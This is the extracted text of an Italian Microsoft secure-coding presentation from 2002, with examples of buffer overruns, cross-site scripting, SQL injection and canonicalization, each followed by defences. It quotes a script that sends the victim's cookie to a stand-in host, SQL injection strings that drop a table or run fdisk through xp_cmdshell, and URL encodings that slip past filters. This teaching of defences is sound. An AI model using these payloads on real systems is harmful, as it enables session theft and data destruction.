Scrivere codice sicuro Fabio Santini .NET Senior Developer Evangelist [email protected] Microsoft Italy Agenda Buffer Overruns Errori aritmetici CSS (Cross-Site Scripting) SQL Injection Canonicalization Isolated Storage ViewState La necessità di codice protetto "Il recente attacco di un hacker potrebbe aver causato danni a circa 1500 siti Web” “Porto USA colpito da un hacker inglese” “La pirateria ha causato la perdita di 4.300 posti di lavoro ed ha provocato danni per 850 milioni di dollari” “Diverse aziende hanno dichiarato di aver perso 10 milioni di dollari in un solo attacco” “Il virus Sobig ha provocato in tutto il mondo danni pari a 30 miliardi di dollari” “Gli attacchi costeranno all'economia mondiale 1,6 trilioni di dollari quest'anno” Cos'è un Buffer Overrun Si verifica quando i dati superano la dimensione prevista e sovrascrivono altri valori È frequente soprattutto nel codice C/C++ non gestito Può essere di quattro tipi: buffer overrun basato sullo stack buffer overrun dell'heap Sovrascrittura della v-table e del puntatore a funzione Sovrascrittura del gestore eccezioni Può essere sfruttato dai worm Possibili conseguenze dei sovraccarichi buffer Possibile conseguenza Obiettivo dell'hacker Violazione dell'accesso Realizzare gli attacchi DoS (denial of service) contro i server Instabilità Interferire con il normale funzionamento del software Inserimento di codice Ottenere privilegi per il proprio codice Sfruttare dati aziendali di vitale importanza Eseguire azioni distruttive Esempio di sovraccarico buffer basato sullo stack Parte superiore dello stack void UnSafe (const char* uncheckedData) char[4] { char localVariable[4]; int anotherLocalVariable; int Indirizzo di ritorno strcpy (localVariable, uncheckedData); } I buffer overrun dell'heap Sovrascrivono i dati memorizzati nell'heap Sono più difficili da sfruttare di un buffer overrun Dati Puntatore Dati strcpy Dati xxxxxxx Puntatore xxxxxxx Puntatore Come difendersi dai buffer overrun (1 di 2) Utilizzare con particolare cautela le seguenti funzioni: strcpy strncpy CopyMemory MultiByteToWideChar Utilizzare l'opzione di compilazione /GS in Visual C++ per individuare i sovraccarichi buffer Utilizzare strsafe.h per un gestione del buffer più sicura Come difendersi dai buffer overrun (2 di 2) DEMO Gli errori aritmetici Si verificano quando vengono superati i limiti di una variabile Causano gravi errori in fase di esecuzione Vengono spesso sottovalutati Includono: Overflow – valore troppo grande per il tipo di dati Underflow – valore troppo piccolo per il tipo di dati Come difendersi dagli errori aritmetici Tenere conto dei limiti del tipo di dati scelto Scrivere codice a prova di attacchi che verifichi la presenza di overflow Scrivere funzioni sicure e riutilizzabili Utilizzare una classe sicura basata su modello (se si scrive codice in C++) DEMO Cos'è il CSS? Una tecnica che consente agli hacker di: Eseguire script dannoso nel browser Web di un client Inserire tag <script>, <object>, <applet>, <form> e <embed> Rubare informazioni sulla sessione Web e cookie di autenticazione Accedere al computer client Qualsiasi pagina Web che esegue il rendering HTML e contenente input dell'utente è vulnerabile Due impieghi comuni del CSS Attaccare le piattaforme di posta elettronica basate sul Web e i forum Utilizzo dei tag <form> HTML per reindirizzare informazioni private Attacchi basati su form (1 di 2) Response.Write("Welcome" & Request.QueryString("UserName")) Attacchi basati su form (2 di 2) <a href=http://www.contoso.msft/welcome.asp?name= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > here </a> Come difendersi dagli attacchi CSS Operazioni da non eseguire: Considerare attendibile l'input dell'utente Attivare l'eco dell'input dell'utente basato sul Web a meno che non sia stato convalidato Memorizzare informazioni segrete nei cookie Operazioni da eseguire: Utilizzare l'opzione del cookie HttpOnly Sfruttare le funzionalità di ASP.NET DEMO Cos'è l'SQL Injection? L'SQL Injection è: L'aggiunta di istruzioni SQL nell'input dell'utente Viene utilizzato dagli hacker per: Effettuare la scansione dei database Ignorare l'autorizzazione Eseguire più istruzioni SQL Richiamare stored procedure incorporate Esempi di SQL Injection sqlString = "SELECT HasShipped FROM" + " OrderDetail WHERE OrderID ='" + ID + "'"; Se la variabile ID viene letta direttamente da una casella di testo di un Web Form o di un form di Windows, l'utente potrebbe immettere: ALFKI1001 ALFKI1001' or 1=1 -ALFKI1001' DROP TABLE OrderDetail -ALFKI1001' exec xp_cmdshell('fdisk.exe') -- Come difendersi dall'SQL Injection Verificare che l'input non sia infetto. Eseguire con i privilegi più bassi Considerare tutto l'input pericoloso fino a quando non viene dimostrato il contrario Cercare dati validi e respingere tutto il resto Utilizzare espressioni regolari per rimuovere i caratteri indesiderati Non eseguire mai come “sa” Limitare l'accesso a stored procedure incorporate Utilizzare stored procedure o query con parametri SQL per accedere ai dati Non attivare l'eco di errori ODBC DEMO Problemi di Canonicalization Generalmente esistono più metodi per assegnare i nomi Sono disponibili rappresentazioni alternative per: Nomi file URL Periferiche (ad esempio stampanti) Gli hacker possono sfruttare il codice che consente di effettuare determinate operazioni in base ai nomi file o agli URL Problemi di Canonicalization Esempio 1 – Nomi file 1. 2. 3. 4. MyLongFile.txt MyLongFile.txt. MyLong~1.txt MyLongFile.txt::$DATA Problemi di Canonicalization Esempio 2 – Rappresentazione dei caratteri Esistono molti modi per rappresentare i caratteri su Internet http://www.microsoft.com/technet/security Equivale a http://www%2emicrosoft%2ecom%2ftechnet%2fsecurity http://www.microsoft.com%c0%aftechnet%c0%afsecurity http://www%25%32%65microsoft.com/technet/security http://172.43.122.12 = http://2888530444 DEMO © 2002 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY.